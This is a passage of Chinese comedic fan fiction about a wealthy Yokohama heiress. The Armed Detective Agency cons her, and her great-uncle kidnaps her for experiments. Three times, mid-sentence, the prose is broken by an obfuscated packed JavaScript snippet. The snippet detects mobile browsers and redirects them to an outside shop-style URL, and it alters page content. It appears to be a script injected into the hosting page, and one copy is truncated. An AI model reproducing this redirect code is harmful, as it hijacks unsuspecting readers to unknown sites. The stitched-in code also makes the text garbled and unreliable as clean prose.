永远年轻,永远骂人难听。 我:“……打扰了。” 谢谢你,国木田先生,你一张口我感觉我都年轻了不少,被骂的跟孙子一样。 但我不得不打断他,我不好意思的咳了一下,“其实……我家族我占股百分之五十一,哦对了,A企业和B公司上个月就被我收购了。” 絮絮叨叨的声音戛然而止,国木田先生的眼神震惊中夹杂着一种极度复杂的感情,想说什么又没说。 一旁浪费绷带的装置见状立马好心的当嘴替:“杀了你们这些有钱人!” 我哦了一声,然后让他们去排队。 作为横滨这个抽象的城市的首富,想要我死的能从码头排到东京,就好像我死了这些钱就能都是他们的了一样。 暗杀对我来说像是家常便饭。 我习惯了倒是无所谓,但我的安保人员却忙的快要得腱鞘炎。 清秀保安在第十二次锤飞来刺杀我的杀手后,揉着酸痛的手腕问我能报工伤吗? 我是个体贴的好老板,当然和蔼的同意了。 主要我也怕不同意的话,这大爪子就冲我招呼过来了。 清秀保安满意的点了点头,随后又好奇的问我究竟做了什么,怎么这么招人恨。 黑衣保镖也少见的有了点兴趣,毕竟在清秀保安来之前,干这活儿的是他。 他之前每天都用着自己的异能“罗生门”把那些闯进来的刺客戳成筛子,并从最开始的小心警惕,变成了现在这个麻木的没有感情的戳戳机器。 我思考了一下,感觉三言两语着实解释不清,于是我给他们看了一眼我某一个私人银行账户的余额。 黑衣保镖眉头紧锁,“不是,怎么会,我是说,这真的不是你的电话号码吗?” 清秀保安大为震撼:“有这么多钱能有多快乐我想都不敢想。” 他们看着人还在,其实已经走了一会了, 我却萧瑟极了:“高处不胜寒的痛苦,你不懂。” 清秀保安吸了一口气,“就是说,你的痛苦能不能分我一点?” 说话间又从暗处窜出来一群蒙面人,喊着友谊啊鸡蛋啊就向我冲过来了。 清秀保安疲累的叹了口气,双手化为强健有力的虎爪,一拳一个刺客。 我在后方欣赏了一下他的英姿,并站在原地啪啪啪的给他鼓掌,一边鼓掌一边用极其狂热的眼神盯着他那熠熠生辉的虎爪。 好强,想要。 质疑二大爷,理解二大爷,成为…… 算了,别成为了,我给自己安这么多异能干什么?怪吓人的。 太宰突然凑过来问我在看什么。 我正盯着那银白色的虎爪发呆,他猛的一问,我脑子就没跟上犯贱的嘴。 “玉足。”我秒答。 太宰:“?” 他以肉眼可见的速度远离我。 反应过来后的我自己:“!” 我慌张,“我没有,我不是,你听我解释!” 太宰站在二十米开外,双手拢在嘴旁,像人间喇叭一样的喊,“什-么-都-玉-只-会-害-了-你!” 解决完刺客的清秀保安甩着已经变回来的胳膊走了过来,好奇的问我们刚刚在说什么。 太宰把他也拉到二十米开外,拍了拍他的肩,“别打听,对你不好。” 清秀保安一脸莫名的看过来,眼中还有一丝戒备,毕竟他敬爱的太宰先生当面蛐蛐我,他当然向着他那险恶的太宰先生。 我很无奈,但我也没说什么,毕竟这俩人目前还是我的左膀右臂。 简称二臂。 没过几天,总是迟到早退的太宰干脆直接不见人影。 我憋了又憋,还是没忍住问中岛敦他敬爱的太宰先生现在在哪里躺尸,如果失踪的太久的话要不要订个殡葬一条龙。 中岛敦愣了一下,然后挠了挠头,“啊,太宰先生接了个任务今天要出国,这会儿应该已经到机场了吧。” 一听这话我猛的愣住,“现在已经到机场了吗?登机了吗?去哪?去几天?为什么没有提前说啊!” 这突然的消息轰炸的我头脑发懵,我的语速越来越快,任谁都能看出来我有多焦虑。 中岛敦被我吓到了,他呐呐道:“应该还没有登机吧,不过快了……太宰先生说他不会走太久,现在您这里也不需要他,他就说没必要给您说。” “我需要!”我急促的声音在办公室响起,“我需要他!” 我慌忙的掏出手机,颤抖着手指给他打电话,“我有重要的话要告诉他,现在就要告诉他……该死,怎么打不通?” 我大脑充血,脸颊通红一片,“没有他我该怎么办……我不能没有他!我要去追他,对!我要直接去把他追到!” 我一把抄起车钥匙就要往外走。 中岛敦这下是真的惊了,他完全没有预料到我的反应会如此巨大。 这种反常的表现无法用常理来解释,他看着我仿佛失去浮木般的柔弱表情,通红的双颊,以及因为激烈的情绪而发抖的身体,表情渐渐严肃。 “您……您不会是喜……” 他猛的住口。 皱在一起的五官彰显了他的纠结。 片刻后他深深叹了一口气,弱弱开口,“我虽然没办法弄懂每个人的心,但即便太宰先生会时不时去骚扰一下女孩子,我也总觉得太宰先生不是那么轻易就能动心的,您要坚持这样的感情的话,会很辛苦的呢……” 叽里咕噜的说什么呢?给我200万。 我急着追人,哪有心情听他讲废话。 他表情沧桑了一点,脱了几分稚气,看起来成熟了不少,他小心翼翼的看着我,“即便如此,您也还是要去追他吗?” “不然呢?”我急的眼睛充血, “我公章好像在他包里呐!” 夜幕低垂,小雨淅淅沥沥,车上广播还见缝插针给我放痛彻心扉的情歌。 雨夜、高速路、迈巴赫,好一场他逃她追,在路边架台摄像机都能立马开拍《拒嫁豪门:娇夫他带球跑》。 只不过带的不是球,是我的公章。 这场景充满了诡异的既视感,我一边飙车一边笑,拍着方向盘,脸色略微狰狞。 人在无语到极致的时候真的会笑出来。 好好好,我也有今天,幸好我急着出门没叫司机田中叔,要是让那个霸总文学十级研究者看了这一幕,我十张嘴也说不清了。 我一路卡着超速线向机场狂奔,路上超车变道S型摇摆,被别到后头的车主通通伸出头对我致以狂野的问候。 我沉着冷静,吩咐副驾被我随手带上的怨种中岛·保安·敦帮我紧急公关一下,别让我的大名明早出现在社会新闻里。 我的意思是让他记下车牌,然后联系公关部给车主打点封口……油钱。 中岛敦给了我一个心领神会的眼神,然后快速按下车窗伸出头,外头的狂风把他半长的头发吹的直打脸,伸出车窗的那颗头凌乱的宛如热爱自由的萨摩耶。 萨摩耶在众目睽睽下扯着嗓子大喊大叫, “抱歉我们赶时间!我们总裁的管……白月光马上就要出国了!” 我:? 我怀疑我车开太快幻听了,白月光?谁?就那个横滨开锁王? 别说他,我感觉我都要成锁王了,因为我满脑子都是“配吗?配几把?” 中岛敦还在全力造谣,我眼前一黑,眼前隐隐约约出现了明早娱乐记者在公司门口围追堵截的糟心情景。 好的,一百张嘴也说不清了。 我一时不知道是出现在社会版面上更麻烦,还是娱乐八卦上更社死。 我一边飙车一边质问他为什么造谣,什么白月光红玫瑰,情情爱爱的真不健康! 他信誓旦旦的说因为纯爱天下第一,就算我抢道别车甩尾气也没有人会忍心去责怪一个勇敢追爱的冷酷总裁! 直到后车直接一个加速与我并驾齐驱,并开窗对我大骂,他说出国不是出殡,白月光不回来我难道就不能去?一张机票都买不起就别装总裁的逼! 好一个反恋爱脑战士,奖励你一张和你的车等值的加油卡。 大马路上,保持超快车速的我们维持着相对静止,司机沉默着接过,然后露出了一个真挚的微笑, “我为误占车道向儒雅大度的女士致以诚挚的歉意,姐,机场里面不能开车了,你还缺代步工具吗?我一千米跑三分十秒。” 我一指旁边正怀疑人生的中岛敦,“不是很缺。” 司机一脸不屑的看着中岛敦,然后突然抖动着胸肌开始雄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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感谢长跑健将小老虎,也感谢我的尊贵卓越终身白金会员卡,在太宰登机前我终于从vip通道出口远远看见了他的背影。 看来为了进登机口拦他而当场买下的两张机票钱没有白花。 当然太宰不是我认出来的,这小子也不知道是干什么去,给自己乔装打扮了一下,要不是中岛敦在他出发前见过他这身装扮然后指给我看,我还真认不出来。 一看到他,我顿时激动的大喊,“太……呃……” 话到嘴边又想起来还不能在大庭广众下承认我和“太宰”认识,但眼见他越走越远,我一急,从他名字里随便选个字张口就叫: “治子别走!” 我这张脸因为经常上财经新闻在横滨有些辨识度,周围的人瞬间对我投来八卦的目光。 但我声音有点小他没听见,眼见着他要登机了,我更急了,“治子别走啊!治子!你走了我怎么活啊!” 周围人的目光瞬间火热了起来。 中岛敦有句话说得没错,纯爱,真的有用。 尤其是大庭广众的纯爱,人民群众喜闻乐见,路边的蚂蚁都得停下吃口瓜。 于是就在我喊完后不到几秒的时间,就有八卦但善良的围观群众一起帮我大喊,“治子别走啊!你走了她可怎么活啊?不过谁是治子?” 甚至站在太宰身后的人也在探头探脑,“谁是治子?什么治子?我错过了什么瓜?” 太宰:“……” 他从队伍里出来,我从中岛敦的背上下来,他神色狐疑,我气喘吁吁,虽然我一步也没跑但也真是辛苦我了。 他站在原地不动声色的打量我,可能在想我到底要出什么幺蛾子,然后他身后的热心群众一边挤眉弄眼,一边兴奋在他耳边嘀咕 :“上啊哥们!” 太宰神色莫名,“上哪?” 我满心都是追上他的欢喜,根本不在意围观群众的火热目光,干脆直接上手拉他,拽到他的时候甚至差点喜极而泣, “太好了,你没走,没有你我可怎么办啊,我都不敢想我失去你会变成什么模样……” “噢~”周围的人围成一圈,气氛热烈的像是什么盛大的狗血追爱求婚现场。 太宰震惊,太宰思索,太宰摸了摸包,太宰了然。 然后他的手慢慢伸向包,摸呀摸,掏出一个巴掌大小的方形盒子,周围的气氛肉眼可见的更加热烈,甚至已经有人小声的起哄。 众目睽睽之下,太宰对着我缓缓打开盒子,露出了里面亮闪闪的—— 公章。 “我说……”他皮笑肉不笑,“你再把我当保险柜藏你这破公章试试呢?” 在围观群众的一片死寂中,我尴尬的咳了一声,“你这安全呀,谁有那么大本事能从你这偷东西?” 好藏,爱藏,下次还藏。 14. 诈骗犯和我 人的习惯真的是一件可怕的事。 太宰出差了我反而有点不适应,但也没不适应几天。 现在的我已经可以自然的给名侦探先生开车门,自然的和国木田一起蛐蛐太宰,自然的摸摸和服小女仆的脸,并自然的和御姐保洁点评几句最新综艺。 甚至还能自然的在保安小哥锤人的时候趁乱rua一把毛茸茸的虎爪。 然而某一天的早上,当我照常踏进办公室,他们就像幽灵一样消失的无影无踪。 我的心里空荡荡的。 就和我空荡荡的办公室一样。 我的青花骨瓷花瓶、沉香木雕花桌椅、镶金嵌玉匕首、限量真皮手作沙发都不见了。 都他大爷的不见了。 偌大的办公室只剩下墙上那些被钉死的装饰画,以及我那颗死透了的发财树。 发黑的发财树摆在房间正中央,四周空旷的我“啊”一下都有回声。 我沉默着关上门,两秒钟后,沉默着再打开门。 好的,东西没有回来,我没有穿越,这也不是幻觉,我是正常的。 不正常的是该死的,天杀的,造孽的,武装强盗社! 我身后跟着我邀请来洽谈业务的合作伙伴,在我开门又关门的时候他好奇的往里瞅,瞅完了就迟疑着问我:“您这办公室以前就这样吗?” 我深吸了一气,竭尽全力保持平静:“……最近正在尝试断舍离的生活方式。” 他不懂,但他看起来大为震撼,“没想到您生活中竟然如此……质朴。” 我试图挽回:“……其实我平时不这样。” 供货商一脸叹服,“您真谦虚。” 我:“……过奖了。” 这办公室谈不了一点生意,我连“请坐”都说不出口,坐哪,坐发财树杈子上吗。 打发走合作伙伴后,我一个电话打给出差不复返的太宰,滴滴滴的忙音后冰冷的AI女声开始播报对方是空号。 我又一个电话打给老宅,旁敲侧击问他们我派过去帮忙的一群人到了没有,老宅那边说他们今天只见过天上飞过的大雁,它们一会儿排成“一”字,一会儿排成“人”字。 挂了电话以后,我一个人在空办公室里瑟瑟发抖。 气的。 我确信,我遇到了诈骗,我遇到了团伙诈骗! 他们不是正义的武装侦探社,他们是土匪!是强盗! 我真是庆幸我好歹追回了公章,否则我现在能有什么样的精神状态我想都不敢想。 我的黑衣保镖倒还在,我问他知不知道这是怎么回事,他坚定的……移开了目光。 教科书级的心虚! 我再问,他就宁死不屈的像是马上就要切腹以证清白。 黑色的衣带在我小腹前跃跃欲试。 你小子,切我的腹,证太宰的清白是吧? 鲨了我就没人去追究太宰骗钱了是吧? 我气的连觉都睡不着了。 我可以容忍他太宰伪装成管家处心积虑一步步获取我的信任,甚至也可以原谅他带着他们整个武装侦探社来我这里一步步获取我的好感。 他可以欺骗我的信任,也可以玩弄我的感情。 但是他骗我的钱,他想死。 我抖着手去翻刑法,黑衣保镖一把拉住我,“冷静,太宰先生这么做一定有他的道理!” 我火冒三丈,“你到底哪头的呀!他把我的宝贝都搬空了,我难道就这么算了吗!” 黑衣保镖还是那句话,“太宰先生一定有他的道理!” 我气笑了,“你干嘛一直帮他说话啊!你那太宰先生不是把你也扔在这里了吗!人家武装侦探社一大家子跑了也没带上你啊!” 黑衣保镖的脸色霎时变的异常苍白,他白着脸,那表情惨淡的像是在控诉我杀人诛心。 我哀痛的缅怀我那些失去的珍宝,“我那又高又大的两百斤的沉香雕花木桌……” 黑衣保镖迟疑了一下,默默道:“两百五十斤。” 我狐疑的看着他,“你怎么知道的这么精准?” 黑衣保镖咳了一下,“在下说了你不要生气。” 我冷笑:“我已经气发财了,你说吧。” 黑衣保镖又咳了一下,“在下搬的。” 我:“……” 我看他像二百五。 我比他更像二百五。 我本以为经历过连环诈骗后,我的承受能力已经锤炼到了极限。 可我没想到,这是我的极限,却不是武装侦探社的极限。 时间过得很快,寿宴当天,我正在二大爷身后和他一起待客,我俩互相假笑,纯纯面子情。 而老宅的门童正在门口高唱宾客的礼单,爷慈孙孝,宾客盈门,一切都很正常。 直到门童高唱,“青花骨瓷花瓶一对、沉香木雕花桌椅一副、镶金嵌玉匕首一把、意大利真皮手作沙发一套!” 我:“?” 好耳熟的贺礼,不确定,再听听。 门童再唱,“武装侦探社九位,到!” 不是,怎么会,你在说什么,啊? 我眼前一黑。 有病吧?武装侦探社有病吧? 我今天一定要杀些什么! 我今天、一定要、杀些什么! 我这边咬牙切齿愤恨难耐,想尖叫,想嘶吼,想对着空气打拳击,我二大爷却眉开眼笑,眼冒金光,三两步走过去,拉着武装侦探社打头那个好像是社长的中年男子的手叫“老弟”。 不是因为他认识“老弟”,而是因为他看到了武装侦探社身后的青花骨瓷花瓶、沉香木雕花桌椅、镶金嵌玉匕首、意大利真皮手作沙发。 他大爷的我的花瓶!我的桌椅!我的匕首!我的沙发! 我这人从不亏待自己。 它们真好看,钱是王八蛋。 所以我那办公室的东西都是万里挑一的珍品,还都是拍卖会上头的产物,随便一件的价格都比我给二大爷一年的钱多。 别说是冲上去拉着武装侦探社社长的手喊老弟了,就算面前是要来侵略地球的外星人,只要能搬其中一件东西送给他,他立马就能背叛人类,点头哈腰的让外星太君这边请。 我算是明白太宰想干什么了,这小子不信我,但他又得混进老宅,所以人家自力更生去了。 人家直接卷走我的宝贝,又看准了我二大爷这贪财的性格,趁着寿宴送上重礼,就这么光明正大的被邀请来了老宅。 看我二大爷这眉开眼笑的样子,他这一步走的,你别说,你还真别说。 而我,横滨首富,家族领袖,花瓶匕首桌椅沙发的前主人,我才是joker里的顶梁柱,扑克牌里的最大注,哥谭市的大头目。 我是什么,就不多说了。 一身正装人模狗样的太宰悠然走来,先从二大爷手里解救了自家社长,然后目光穿过中庭,对着站在原地生大气的我挑了挑眉, “这么热闹的场合,总裁大人怎么不笑,是生性不爱笑吗?” 我抽了抽嘴角,有病,管天管地,还管人笑不笑吗? 我从没想过他会光明正大的出现,毕竟他好歹做了我这么长时间的管家,还没有易容,万一被见过他的我那些合作伙伴认出来,有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385731|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情可就瞒不住了。 但他当真有恃无恐,我不得不想的更深。 难道他有不被认出的底气?或是就算被认出来也无所谓?他到底想做什么? 我打量了他一下,突然意识到他现在的气质与当我管家时期迥然不同。 以前他站我身后低眉顺眼,现在他在我面前重拳出击。 而我那些合作伙伴都一脉相承的眼高于顶,根本不会花心思去记别人管家的长相,更别说这个管家还有意识的在他们面前淡化自己的存在感。 说真的,我如果不是因为被他搞出了心理阴影,所以对他的长相有着深刻且无法磨灭的印象,脸盲如我说不定今天也照样认不出来气质迥异的太宰。 就算他从头到尾都没易容,我可能充其量也就觉得这人怎么长得这么眼熟,好像在哪里见过一样。 是的,我们霸总就是这么看身边的人的,都是牛马,包括我自己,还分什么男女老少高矮胖瘦,能记得他是个男的都已经很不错了。 所以你别说,你还真别说,能认出他的人真不见得有几个。 但他太宰敢出现肯定不止有这一种原因,他说不定又有什么阴谋诡计,我隐隐约约有不好的预感,总感觉今天不会太平。 我想了想,觉得还是离他远一点比较好,别到时候打起来,血再溅我脸上。 我不想理他,但太宰却从服务生的托盘里取了两杯香槟,当着大厅里一大堆要么有权要么有势要么有钱的各路宾客的面,大声且张扬的向我举杯,“久闻您的大名,今日终于有幸一睹风采,真是值得庆祝的一件事!” 我看了看递到我面前的这杯香槟,又看了看正睁眼说瞎话的他。 好厚的脸皮,使我的巴掌旋转。 但我也不能真抽他,毕竟在大部分人眼里我俩今天确实第一次见。 我今天抽了他,现场那么多封不了口的目击者,明天关于我俩爱恨情仇的谣言就能传遍横滨的大街小巷。 包括但不限于激烈的私斗内幕,激烈的争权夺利,以及激烈的桃色绯闻。 我激烈不了一点,所以我能怎么办,我只能当作是第一次见他,接过那杯酒,胡乱敷衍一下,“你好你好,同喜同喜。” 二大爷正带着一脸痴迷的表情看着他们身后的贺礼,他那粗糙的手轻柔的抚摸着沉香雕花木桌,“这真是好东西,得有二百斤了吧?” 我本在敷衍太宰,听了这话猛的攥紧酒杯,“二百五十斤!” 二大爷闻言双眼的光亮的堪比探照灯,对着武装侦探社的人和蔼可亲, “老头子我已经多少年没见过这种好东西了,你们放心,我绝对不会亏待你们!” 我这二大爷确实没见过什么真正的好东西,他那些实验本就烧钱。 他虽然占着点股份,但在我的暗箱操作下分红还不够他支撑实验室,以至于在绝大多数人眼里他也只不过是个没有实权的富贵老头。 若非他握着我的把柄,捏着我的软肋威胁我给他打钱,就他那入不敷出的情况,说不定买条裤衩子都得打欠条。 我心里冷哼了一下,他一无业老头要靠什么不亏待别人,靠他年纪大?靠他不洗澡? 我冷哼着冷哼着,心里突然打了一突。 我神色一凛,我靠,这老头还能靠谁,他只能靠我呀!他不会是打算接着勒索我给他打钱来犒劳武装侦探社吧? 我眼前一黑。 生理意义上的,眼前一黑。 我咚的一声倒在地上,玻璃酒杯砸在大理石地面上,酒水四溅,我这才看到整个大厅除了武装侦探社外,还站着的就只有二大爷和他的心腹。 15. 实验室和我 再醒来时,我感受到我的四肢都被禁锢在实验台上,身上盖着一层白色的厚布。 然后我盯着面前饭团先生那张放大的脸沉默了好几秒。 好消息,我不仅能躺着,还有被子盖。 坏消息,我好像,貌似,大概,说不准,被二大爷药翻送实验室里来了。 好突然,真的好突然,我懵逼着思考,为什么是今天?为什么是这么个时候? 谁给二大爷的勇气敢在今天突然和我撕破脸? 谁能让二大爷就这么孤注一掷,不惜放倒在场所有宾客也要把我绑走? 我狐疑的盯着眼前正上下打量我的的饭团先生,说不定是他,这个邪恶的饭团,他就算穿着救死扶伤的白大褂我也能感受到他的邪恶! 他一点也不像医生,天杀的,我一眼就看出来,他现在正在实验室里冒充科学怪人! 我打起精神和科研怪人模样的饭团先生社交,想着先和他套套近乎,要不然我担心我出去会缺胳膊少腿,或者多几条胳膊和腿。 “又见面了,我最好的朋友,”我勉强微笑,“没想到这么短时间你就已经成功的混进来了,朋友,你才是真正的卷王。” 我顿了一下,又试探道:“不过这实验室是安在了哪?我的好朋友,能不能给我透露一下?” 饭团先生现在虽然看起来是科研怪人,但他也是好心的科研怪人。 “你家老宅地下五层。”他笑着解答。 嗯,并不意外,我翻遍横滨都找不到实验室所在地的时候,就已经猜到这实验室大概率就是在被二大爷掌控的老宅范围内了。 不过到有一点出乎意料,我感概了一下,“地下五层,啧啧,都要挖到南大西洋了。” “不止,一共十二层呢,”饭团先生挑眉,好心的给我介绍,“但这层的安保系数最高,一共三道大门,每道门都要身份验证,没有楼梯只有电梯,每道门重兵把守,基本有进无出。” 还重兵把守,真看的起我,作为一个体力废战五渣,我有点受宠若惊了。 “你出现在这里说实话我也惊讶了一下,” 饭团先生眯了眯眼,手指摩挲着下巴,“明明在我出去吃饭前这张实验台还是空的,而且不是几小时之前才说要抓你来吗?他们动作可真快。” 咦?幕后黑手不是他吗? 一想到他在看到我的时候也和我一样懵逼,我就稍稍欣慰了一点。 但还没等我欣慰完,却突然意识到了他话里的bug,我不可思议看着他,“你早就知道他们要抓我,你都没想着提醒我一下吗!” 他低低笑了起来,声音优雅动听的像是交响乐厅的大提琴,“其实……我也挺想研究一下你的,这不正好吗?” 我愤愤,“你是怎么说出这么冰冷的话的!” 饭团先生却一直打量我,摩挲下巴的手指就没放下来过, “不过你怎么会这么容易被他们抓了?还一点都不反抗?总感觉你像是有阴谋的样子呐!” 我梗了一下,安静望天,“还不允许人阴沟里翻船吗?” 饭团先生看我的眼神一会闪过一丝冷凝,一会闪过一丝质疑,一会儿闪过一丝寒意,闪来闪去的犹如两颗装了电动芯的玻璃珠。 我一看就知道这家伙怀疑我别有用心。 连每天都想着要干掉我的饭团先生都比我自己还要相信我的实力,这个世界上怎么会有这么又荣幸又恶心的事。 门突然吱呀一声开了,我二大爷带着一堆戴着口罩看不清面目的实验员走进来。 进来的第一时间就是冲饭团先生点了点头,“多亏了你告诉我这孩子有异能,只要好好研究她,我们的实验一定能得到重大突破!感谢你,好心的费……陀……俄罗斯先生!” 好心的失去姓名的俄罗斯先生:“……真不愧是一家人啊你们。” 我震惊的望着饭团先生,“原来真的是你出卖我!” 果然只有异能这种事,才能让我这个惜命的二大爷冒着极大的风险来绑架我。 饭团先生从善如流的点头,“是的。” 他承认的好干脆,我准备好的质问都说不出来了。 还没等我瞪两眼卖队友的饭团先生,我二大爷又转头对着身后那群戴口罩的人笑出了一脸褶子, “也多亏了各位告诉我这孩子准备以下犯上,对付我这个长辈,若非各位及时提醒,说不定还真被她拆掉了我这小小的实验室。” 他身后的一个身材高挑的男人歪了歪头,即使遮着半张脸,也能让人觉得他正弯唇笑着, “不胜荣幸。” 天杀的太宰,别说口罩遮脸了,你现在就算成了贞子,头发全长脸前面,我都能认出你! 我震惊的看着他和他身后那群熟悉的人影,“你们也出卖我!” 果然只有感受到了十足的威胁,才能让我这个谨慎的二大爷在今天破釜沉舟对我出手。 太宰把口罩往下扯了一点,欢脱的和我招手,“是的!” 为什么他们都承认的如此干脆,我准备好的荡气回肠的,关于正义啊,和平啊的重大演讲都说不出口了。 太宰治加费奥多尔,我今天躺在这里,不亏。 我虽然很有钱,但我一本本分分的商人,只是做亿点小生意,何德何能让这两个天才至极又疯狂至极的人一起对付我,不知道的还以为我犯了什么天条。 太宰治在我身边笑的愉悦。 俄罗斯人在我另一边笑的和善。 天才在左,疯子在右。 我在中间,我是天子。 独自开朗的我正对上二大爷的眼神,他居高临下的看着实验台上天子……粽子一样的我,在他眼里全身都是束缚带的我和案板上的鱼肉没有两样,都是任人宰割的那种。 所以他脸上再也没有那种虚情假意的笑,看起来倒是比平常顺眼很多。 “大孙侄女,”他缓缓道,“众叛亲离的感觉如何?” 我憋了好一会,最后叹了口气,“这辈子太短了。” 我二大爷背着手垂头看我,整张脸都在阴影里,“是啊,人生苦短,要及时行乐,有些执念还是及时了结了好,我的实验要是不能成功,我连闭眼都不安心啊。” 我一脸莫名的看着他,“我说这被子太短了!我脚都露在外面呐!” 二大爷一口气差点没上来:“……怎么就你这么娇贵!” 我不平:“人质就没有人权吗?人质就可以不给长被子盖吗?” 二大爷不可思议:“你都不一定能看到明天的太阳了,还有功夫在这里选被子啊?” 我坚持不懈:“今天是今天,明天是明天,说不定明天躺在这里的就是你了!” “别的不说,我那黑衣保镖就没被你抓来吧?虽然我也不知道那小子跑到哪去了,但他说不定现在就在试图营救我呢!” 二大爷身后那群人里突然传出一个耳熟的声音,“在下在这儿!” 我睁着失去高光的眼睛,定定的看着跟在太宰治旁边那乐不思蜀的黑衣保镖,然后缓缓转过头,盯着天花板生无可恋,“不想活了,你要杀就杀吧。” 我二大爷双手抱臂,嘴巴都撅到天花板了,“那被子你还要吗?长度够了吗?” 我平静且麻木,“我不是够了,我是够够的了。” 我二大爷站在我面前,语气莫名喂叹,“你还够够的了,你都无法想象,为了在今天抓住你,我究竟付出了怎样的代价……” 我麻木的间隙抽空撇了他一眼, “也没什么想不到的,首先你在老宅养的那些手下一定死伤大半,毕竟我手下那些保镖也不是吃素的,” “还有你实验室的位置也一定暴露了,把我转移来这里不可能完全掩人耳目,” “哦对了,和我一起被你药翻的那些客人你准备怎么善后?如果我没记错的话里面还有你背后的那位‘保护伞’吧!” “还有你身后的俄罗斯人、港口mafia和武装侦探社这些人,你就真的这么相信他们会站在你那一边?” 我语速快,得不得不说了一大堆,二大爷尝试了几次才终于打断我,语气透出了些许烦躁,“这就不劳实验体17号考虑了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385732|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我疑惑:“实验体17号是什么东西?” 我二大爷肯定的看着我,“是你。” 我挣扎了一下:“……有没有可能,就是说,给我改成18号?” 我认真的看着他,“18,要发,听着就吉利。” 我二大爷面无表情,“你说的哪国谐音梗?我立本人我听不懂。” 我恨铁不成钢,“都说了要多读书,读好书,你这么大年纪怎么就这么丈育,你知道我们和华国那边有多少生意往来吗?你知道学好普通话走遍天下都不怕吗!” 我痛心疾首,“不,你不知道,你就惦记你那破实验室!没有我赚钱,你就喝西北风吧!” 我二大爷表情扭曲了一下,好像被我戳中了痛处恼羞成怒了一样, “是!那又怎样!人还没有点理想了吗!我就不愿和你们这般满身铜臭味的人为伍,我也有梦想!我豁出我的一切我都要把你绑来,我要创造的是人类的未来!” 我冷笑:“你先脱了你这身迪奥高定再来和我谈梦想!” 这时候我听到站在角落的中岛敦小声和太宰治蛐蛐:“太宰先生什么是迪奥?” 他自以为很小声,但其实实验室屁大点地方每个人都能听到。 我和二大爷也是头一次见这么清澈的、没有铜臭味的,仿佛没花过钱一样的孩子,不由得双双陷入沉默。 唉,资本。 太宰治也沉默了一下,他思考了片刻,温声道:“迪迦奥特曼。” 我二大爷的表情扭曲了一下,他不敢对太宰治发脾气,就只能对没有行动能力的我大喊大叫,把话题拐回来成年人的铜臭味世界, “我的侄孙女,是,你有钱,你聪明,聪明到能在短短几年掌控了几乎全部势力,若非你有把柄在我手里,在你眼里我大概就是能轻易碾死的渣滓。” 哦,他还怪有自知之明的。 “所以咱们聪明的首富大人,”他狞笑着盯着我,“你有想过会败在你看不上眼的渣滓手里吗?” 二大爷直起身又环视了一下四周,然后好整以暇的抬手,指着一直默默围观的饭团先生和武装侦探社众人, “你能想到这些人会心甘情愿的站在一个被你看不上眼得渣滓身后吗?” 他畅快笑道:“你能想到你也有今天吗?” 略显富态的老人站在我面前低头看我,经年的富贵生活让他脸上的皱纹都比同龄人少的多,任谁都猜不出这个人已经年近八旬。 他手上掌握的科技比我想象的更加可怖,再这样任他发展下去,他能活到多少岁我想都不敢想。 我认真看着他,“说实话我几年前就经历过‘今天’了。” 二大爷冷哼,“那时候你能活不代表今天你能活!” 我挑眉,“我一无所有都能活,没道理现在反而不能活。” 眼前的老登突然又冲我笑了,他起先是小声的发出气音,而后越来越大声,越来越夸张,最后他抱着他那圆滚滚的肚子笑的上气不接下气。 笑的有点久,要不是被子太短有点冷,我都要在实验台上睡着了。 说实话我现在真的有点困,其一是因为迷药的药效还没完全消散,其二则是我昨晚加班到凌晨三点,早上又起个大早来参加这破寿宴。 若非实验室冷的我打哆嗦,我现在沾着枕头就能立马安稳入眠。 他笑完了,突然像犯病了一样伸手掐住了我的脖子, “有的时候,人得到的越多,就会越害怕失去,就会越优柔寡断,明明占了上风,却因为顾及那么一丁点不重要的东西,反而害死自己。” 不是,你说不过就动手吗? 素质在哪里?武德在哪里? 他掐我掐的极狠,我只感觉空气越来越稀薄,眼前因为缺氧而出现了黑蒙,听力也越来越不真切,意识都有了片刻的模糊。 就在这时,我听到他那粗粝扭曲又失真的声音在我耳畔响起,“你啊,沦落到今天这个地步,值得吗?” “因为顾及那三十二个私生子的性命,束手束脚到了这种程度,值得吗?” 16. 往事和我 三十二个私生子,失踪案的主角们。 和我拥有一半相同血缘的手足。 我二大爷突然这么说,外人听了肯定很懵。 毕竟自从这些同样享有继承权的私生子女们一夜蒸发后,这些年明里暗里有多少人都觉得我已经把这些威胁我继承权的手足们鲨了。 没人觉得我会对他们手下留情。 毕竟出门在外身份都是自己给的,事关继承权,不是独生子也要创造条件变成独生子。 别说有感情了,就算我把他们驱逐出家族,让他们一穷二白去桥洞下打地铺,说不定都有大把的人会觉得我仁慈,毕竟还留了一命不是吗? 就连还算了解我的森先生都不觉得我会放他们一马。 他甚至还给我出主意让我把人送到非洲挖矿,我拒绝他的“好意”后他还意味深长地冲我笑,大概心里也觉得我已经把他们处理了,所以才不多此一举。 于是我的名声就在潜移默化下慢慢变成了法外狂徒。 明明像我这样老实本分的资本家可都不兴搞黑设会这一套。 